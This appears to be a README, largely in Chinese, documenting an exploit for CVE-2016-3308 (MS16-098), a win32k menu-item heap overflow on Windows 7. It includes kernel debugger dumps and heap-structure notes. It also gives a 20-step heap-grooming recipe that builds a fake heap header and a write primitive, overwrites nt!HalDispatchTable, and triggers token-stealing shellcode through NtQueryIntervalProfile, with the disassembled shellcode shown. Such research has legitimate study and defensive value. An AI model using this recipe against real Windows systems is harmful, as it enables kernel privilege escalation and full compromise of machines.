README.md
Rendering markdown...
# Use CVE-2016-3308 corrupt win32k desktop heap
author : 55-AA
## 分析
漏洞存在于 win32k!xxxInsertMenuItem 函数中重新分配内存的时候。
BOOL xxxInsertMenuItem(
PMENU pMenu,
UINT wIndex,
BOOL fByPosition,
LPMENUITEMINFOW lpmii,
PUNICODE_STRING pstrItem
);
该函数负责增加菜单项。新增加的菜单项或者根据位置插入或者根据菜单项识别符插入。[InsertMenuItem](https://msdn.microsoft.com/en-us/library/windows/desktop/ms647988(v=vs.85).aspx) 的文档中详细描述这两者的区别。此外,当一个新的菜单被创建的时候,并没有分配存储菜单项的空间。直到第一个菜单项被插入的时候才分配。在 Windows 7 x64 上,一次分配 8 个项,这样,插入项小于 8 的时候不需要再分配。
当插入第 9 、17 个菜单项时,将触发一次再分配以便容纳它们。当内存分配成功后, win32k!xxxInsertMenuItem 调用 win32k!MNLookUpItem 以得到该菜单项在新内存中的位置。问题出在从第二次调用 win32k!MNLookUpItem 返回的菜单项在原有菜单中不存在的时候。win32k!MNLookUpItem 递归查找菜单结构,寻找与与该菜单项关联的子菜单项。为了使第二次调用返回一个不同的菜单项,则需要改变第一个调用参数。函数的原型如下:
PITEM MNLookUpItem(PMENU pMenu, UINT wCmd, BOOL fByPosition, PMENU *ppMenuItemIsOn);
前 3 个参数是必需的。第 4 个参数是可选的,其指向的地址用于存储与之相关的菜单对象。正常情况下,是 pMenu 的值写到 pMenuOut,根据补丁修改的内容看,这就是问题的所在。
为了触发所述的代码流程,攻击者需要创建一个包含子菜单项的菜单项,该菜单项有一个 wID 为 1 的子菜单项。该菜单项是顶层菜单的一个子项,其 wID 值为任意的某值,此外顶层菜单还有另外 7 个菜单项,并拥有各自不同的 wID 值,以便填满分配的空间。然后攻击者调用 NtUserThunkedMenuItemInfo 增加第 9 个菜单项,该菜单项的 wID 和第一个菜单项相同。win32k!xxxInsertMenuItem 第一次调用 win32k!MNLookUpItem 标识了这个菜单项,并返回了其所属的顶层菜单。重新分配之前,对该菜单项的 pItem->hbmpItem 进行检查,如果这个字段被设置为 HBMMENU_SYSTEM,那么其 wID 就被设置为 1。这个过程可被利用,导致第二次调用 win32k!MNLookUpItem 来标识子菜单的菜单项(其 wID 被明确设置为 1),从而导致返回值是子菜单而不是原先的顶层菜单。
在利用时,第二次调用 win32k!MNLookUpItem 返回的菜单项和第一次返回的不同。这就在随后的 memmove 调用时导致一个越界读取,并可能覆盖大块内存。这个调用大致如下:
memmove(&pItem[1], pItem, &pMenu->rgItems[0] + (sizeof(ITEM) * pMenu->cItems - (QWORD)pItem);
RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
计算地址时,假定了返回的 PITEN 就是由 pMenu->rgItems 索引的数组项。
复现这个漏洞的利用需要控制传递给 memmove 的内存,避免 pItem 之后的内存导致非法访问。假定 memmove 的内存是被限制的,并且 pItem 是 pMenu->rgItems 所指向的数组中的最后一项,攻击者利用 memmove 操作修改一定长度的内存,这个长度等于 win32k!tagITEM 的长度(Windows 7 sp1 x64 是 0x90 字节)。 攻击者可利用 位于共享区域的 HANDLEENTRY 结构来识别 win32k!tagMENU 在内核空间的位置,然而要准确预测 memmove 调用时的参数,攻击者必需知道该结构中 rgItems 的值。
关键函数分析:
BOOL WINAPI NtUserThunkedMenuItemInfo(
HMENU hMenu,
UINT nPosition,
BOOL fByPosition,
BOOL fInsert,
LPMENUITEMINFOW lpmii,
PUNICODE_STRING pstrItem);
该函数主要是根据 fInsert 分别调用 xxxInsertMenuItem 或 xxxSetMenuItemInfo。这里我们只关心 xxxInsertMenuItem,所以 fInsert 总是为 TRUE。可以认为 NtUserThunkedMenuItemInfo 就是 xxxInsertMenuItem,只不过 xxxInsertMenuItem 不能在用户态调用。
fByPosition 表示 nPosition 参数是索引号还是 ID 值。
win32k设置断点:
ba e1 win32k!xxxInsertMenuItem,由于 session 的原因不能用 bp。
ba e1 win32k!xxxInsertMenuItem+0xf3
836a94ad e843e70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x129
836a94e3 e80de70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x1f5
972495ae 48 dec eax
972495af 6bc06c imul eax,eax,6Ch
972495b2 2bc3 sub eax,ebx
972495b4 034634 add eax,dword ptr [esi+34h]
972495b7 50 push eax
972495b8 8d436c lea eax,[ebx+6Ch]
972495bb 53 push ebx
972495bc 50 push eax
972495bd e85ea40100 call win32k!memmove (97263a20)
menu:
(tagMENU)fea0f6e8->(rgItems)0xfea0f760->(relocate rgItems)fea10fe8
submenu:
(tagMENU)fea0e7f0->(rgItems)0xfea0fac8
triger:
.text:BF8A95BD call _memmove
RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
此时 pItem 和 pMenu->rgItems 不是同一内存块。
memmove(fea0fb34, fea0fac8, 00001880)
memmove(fea0fac8 + 6c, fea0fac8, (9 - 1) * 0x6c - (0xfea0fac8 - 0xfea10fe8))
.text:BF8A965B call _memmove
RtlMoveMemory(pItem, pItem + 1, pMenu->cItems * (UINT)sizeof(ITEM) + (UINT)((char *)&pMenu->rgItems[0] - (char *)(pItem + 1)));
memmove(fea0fac8, fea0fb34, 00001880)
memmove(fea0fac8, fea0fac8 + 6c, 9 * 0x6c + (0xfea10fe8-(fea0fac8 + 6c)))
# 4 漏洞利用
本章,我们评估用户模式回调导致的漏洞的可利用性。因为我们最关心两个漏洞原语就是 UAF 和 NULL 指针引用,所以我们集中在攻击者如何利用这些 BUG 攻击 win32k 漏洞。为了提出合理的缓解措施和解决手段,评估他们的可利用性是至关重要的。
## 4.1 内核堆(Kernel Heap)
正如 2.2 节提到的那样,用户对象及其相关的数据结构或者是存储在会话池(seesion pool)中,或者是存储在共享堆(shared heap)中,或者是存储在桌面堆(desktop heap)中。存储在桌面堆和共享堆对象和数据结构由内核堆分配器(kernel heap allocator)管理。内核堆分配器可认为是用户堆分配器(user-mode heap allocator)的简化版本。并使用内核导出的 RtlAllocateHeap 和 RtlFreeHeap 管理堆块。
尽管用户堆和内核堆是如此的相似,但仍有一些关键点是不同的。不像用户堆,win32k 使用的内核堆没有实现前端分配器。这一点可查看 \_HEAP.HEAP\_LIST\_LOOKUP 的ExtendedLookup 值.
kd> dt nt!_HEAP fea00000
...
+0x04c EncodeFlagMask : 0
+0x050 Encoding : _HEAP_ENTRY
+0x058 PointerKey : 0
...
+0x0b8 BlocksIndex : 0xfea00138 Void
...
+0x0c4 FreeLists : _LIST_ENTRY [ 0xfea07f10 - 0xfea0e4d0 ]
...
+0x0d0 CommitRoutine : 0x93a4692d win32k!UserCommitDesktopMemory
+0x0d4 FrontEndHeap : (null)
+0x0d8 FrontHeapLockCount : 0
+0x0da FrontEndHeapType : 0 ''
kd> dt nt!_HEAP_LIST_LOOKUP fea00138
+0x000 ExtendedLookup : (null)
...
列表 18: 桌面堆
当 ExtendedLookup 为空时,堆分配器不使用旁视列表和低碎片堆[13]。此外,在列表 18 中,我们看到用于堆混淆的 PointerKey 和堆编码的 EncodingFlagMask 字段被设置为 NULL。这就说明堆头没有被编码,CommitRoutine 指针没有被混淆。
当处理象 UAF 的内核堆溢出时,知道内核堆的管理机制是至关重要的。有许多优秀的文章详细描述了用户堆的实现机制[13][6][9],我们在研究内核堆时可以参考这些文章。鉴于本文的目的,知道内核堆是一块连续的可扩展或压缩内存就足够了。由于没有前端管理器,所有的空闲块都在空闲列表中被索引。一个通用原则,堆管理器总是分配最近的空闲块(通过列表可知道)以便更好的利用 CPU 缓存。
每一个分配的堆块都包含一个堆头,其结构为:
in "w2ksrc/private/ntos/rtl/heap.c"
根据 win7_x86_sp1 调试符号整理:
typedef struct _HEAP_ENTRY {
USHORT Size; //Size << HEAP_GRANULARITY_SHIFT 为该块的字节数(包含头部),HEAP_GRANULARITY_SHIFT 在32位系统下是3,64位系统下是4
UCHAR Flags;
// 含义如下(w2ksrc/private/ntos/rtl/heap.c):
// 0x01 - HEAP_ENTRY_BUSY(当前块在使用中)
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//
UCHAR SegmentIndex;
USHORT PreviousSize; //Size << HEAP_GRANULARITY_SHIFT 为该块的字节数(包含头部)
UCHAR SegmentOffset;
UCHAR UnusedBytes;
// from (w2ksrc/private/ntos/rtl/heap.c)
// This field contains the number of unused bytes at the end of this
// block that were not actually allocated. Used to compute exact
// size requested prior to rounding requested size to allocation
// granularity. Also used for tail checking purposes.
} HEAP_ENTRY, *PHEAP_ENTRY;
以下是一个具体的实例:
0: kd> db fea0fee0+360
fea10240 04 00 01 00 6d 00 00 08-6d 00 65 00 6e 00 75 00 ....m...m.e.n.u.
fea10250 20 00 69 00 74 00 65 00-6d 00 20 00 32 00 00 00 .i.t.e.m. .2...
fea10260 04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00 ........m.e.n.u.
fea10270 20 00 69 00 74 00 65 00-6d 00 20 00 33 00 00 00 .i.t.e.m. .3...
fea10280 04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00 ........m.e.n.u.
fea10290 20 00 69 00 74 00 65 00-6d 00 20 00 34 00 00 00 .i.t.e.m. .4...
fea102a0 04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00 ........m.e.n.u.
fea102b0 20 00 69 00 74 00 65 00-6d 00 20 00 35 00 00 00 .i.t.e.m. .5...
0: kd> d
fea102c0 04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00 ........m.e.n.u.
fea102d0 20 00 69 00 74 00 65 00-6d 00 20 00 36 00 00 00 .i.t.e.m. .6...
fea102e0 04 00 01 00 04 00 00 08-6d 00 65 00 6e 00 75 00 ........m.e.n.u.
fea102f0 20 00 69 00 74 00 65 00-6d 00 20 00 37 00 00 00 .i.t.e.m. .7...
fea10300 d9 00 01 00 04 00 00 08-00 00 00 00 00 00 00 00 ................
fea10310 01 10 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea10320 30 8b a0 fe 0b 00 00 00-00 00 00 00 00 00 00 00 0...............
fea10330 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0: kd> db fea0fee0-8
fea0fed8 6d 00 00 00 05 00 00 00-d0 09 a1 fe a8 d5 a0 fe m...............
fea0fee8 01 10 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea0fef8 30 8b a0 fe 0b 00 00 00-00 00 00 00 00 00 00 00 0...............
fea0ff08 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea0ff18 ff ff ff 7f 00 00 00 00-00 00 00 00 ff ff ff ff ................
fea0ff28 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea0ff38 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea0ff48 00 00 00 00 00 00 00 00-00 00 00 00 02 10 00 00 ................
0: kd> db fea0fee0-8-5*8
fea0feb0 05 00 01 00 19 00 00 08-03 00 00 00 03 00 00 00 ................
fea0fec0 ff ff ff ff 18 a9 00 00-88 13 00 00 3e c0 00 00 ............>...
fea0fed0 50 37 38 01 4a c0 02 00-6d 00 00 00 05 00 00 00 P78.J...m.......
fea0fee0 d0 09 a1 fe a8 d5 a0 fe-01 10 00 00 00 00 00 00 ................
fea0fef0 00 00 00 00 00 00 00 00-30 8b a0 fe 0b 00 00 00 ........0.......
fea0ff00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea0ff10 00 00 00 00 00 00 00 00-ff ff ff 7f 00 00 00 00 ................
fea0ff20 00 00 00 00 ff ff ff ff-00 00 00 00 00 00 00 00 ................
0: kd> db fea0fee0-8-5*8-19*8
fea0fde8 19 00 01 00 05 00 00 0c-48 01 03 00 03 00 00 00 ........H.......
fea0fdf8 38 39 b6 fd 38 0a 45 88-f0 fd a0 fe 00 00 02 00 89..8.E.........
fea0fe08 00 07 00 80 00 00 00 00-00 00 00 8c 00 00 19 76 ...............v
fea0fe18 00 00 00 00 48 da a0 fe-00 00 00 00 48 07 a0 fe ....H.......H...
fea0fe28 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea0fe38 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea0fe48 00 00 00 00 00 00 00 00-86 92 1e 76 a8 96 a0 fe ...........v....
fea0fe58 00 00 00 00 88 65 a0 fe-00 00 00 00 00 00 00 00 .....e..........
# Corruption Step
1. createWindow with WndText size 1, loop FILL_HOLE_COUNT times to fill the old hole.
2. create WND-0~WND-5.
3. create menu with 8 ITEMs.
4. create sub-menu with 8 ITEMs.
5. expand sub-menu to 9 ITEMs.
6. set WND-5 text 0x360 to fill the hole of sub-menu old ITEMs.
7. set WND-1 text 0x70, make corrupt heap header.
8. set WND-2 text 0x70.
9. set WND-0 text 0x6c0 for take a sit.
10. create the WND-primitive and a auto-created tagPROPLIST.
11. create the WND-corrupt and a auto-created tagPROPLIST.
12. set WND-3 text 0x18 for a fake heap header.
13. save the heap data for restore.
14. reset WND-0 text 0x700 to release a 0x6c0 hole.
15. expand menu to 9 ITEMs to triger the bug.
16. deatroy WND-2 to release corrupt block.
17. set WND-corrupt text 0x8e0 to realloce the corruptd block.
18. execute the write primitive by set WND-primitive text.
19. triger shellcode with NtQueryIntervalProfile.
20. restore the saved heap data.
### step07 step08
1: kd> db fea2d7a8-8 l78*2
fea2d7a0 0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00 ................
fea2d7b0 e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d810 00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08 ................
fea2d820 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
### step15
0: kd> db fea2d7a8-8 l78*2
fea2d7a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d810 d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08 ................
fea2d820 f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00 .6..............
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00 ................
CorruptWndText
0: kd> db fea2d820-8
fea2d818 1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe .........6......
fea2d828 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d838 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d848 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d858 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d868 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d878 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d888 0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
Fake block header
0: kd> db fea2d820-8 + 11d*8
fea2e100 02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00 ................
fea2e110 0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1 ........8&......
fea2e120 00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00 [email protected].........
fea2e130 00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe ................
fea2e140 00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95 .........@......
fea2e150 00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00 ................
fea2e160 e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe .>..............
fea2e170 00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09 ................
CorruptWndText front
0: kd> db fea2d820-8 - e8*8
fea2d0d8 d9 00 01 00 6d 00 00 08-00 08 00 00 03 00 00 00 ....m...........
fea2d0e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d0f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d108 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d118 ff ff ff 7f 00 00 00 00-00 00 00 00 ff ff ff ff ................
fea2d128 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d138 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d148 00 00 00 00 00 08 00 00-03 00 00 00 01 00 00 00 ................
PrimitiveWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4 02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00 .........S......
fea2dff4 60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 `...............
fea2e004 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e014 17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01 ..............~.
fea2e024 18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00 ................
fea2e034 03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe [email protected]...
fea2e044 18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04 ...`............
fea2e054 00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe ........`...(...
CorruptWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4 de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00 ........ .......
fea2e0c4 30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 0...............
fea2e0d4 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e0e4 17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01 ..............~.
fea2e0f4 18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00 ................
fea2e104 1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00 ................
fea2e114 03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00 ....8&..........
fea2e124 40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00 @.G.............
#ShellCode
0: kd> dds nt!HalDispatchTable
83f753f8 00000004
83f753fc 83e3b8a2 hal!HaliQuerySystemInformation
83f75400 83e3c1b4 hal!HalpSetSystemInformation
83f75404 840fe71f nt!xHalQueryBusSlots
83f75408 00000000
83f7540c 83e4c5ba nt!HalExamineMBR
83f75410 83fc04e7 nt!IoReadPartitionTable
83f75414 840fe01f nt!IoSetPartitionInformation
83f75418 840fe2ca nt!IoWritePartitionTable
83f7541c 83f22d37 nt!xHalHandlerForBus
after corruption
0: kd> dds nt!HalDispatchTable
83f753f8 00000004
83f753fc 013711c0
83f75400 83e3c1b4 hal!HalpSetSystemInformation
83f75404 840fe71f nt!xHalQueryBusSlots
83f75408 00000000
0: kd> u 013711c0
013711c0 a188fa3701 mov eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701 mov ecx,dword ptr ds:[137FA80h]
013711cb 894804 mov dword ptr [eax+4],ecx
013711ce 33c0 xor eax,eax
013711d0 c21000 ret 10h
## 参考资料
[https://warroom.securestate.com/an-analysis-of-ms16-098/](https://warroom.securestate.com/an-analysis-of-ms16-098/)
[https://github.com/zeroSteiner/mayhem/blob/master/examples/ms16_098_bsod.py](https://github.com/zeroSteiner/mayhem/blob/master/examples/ms16_098_bsod.py)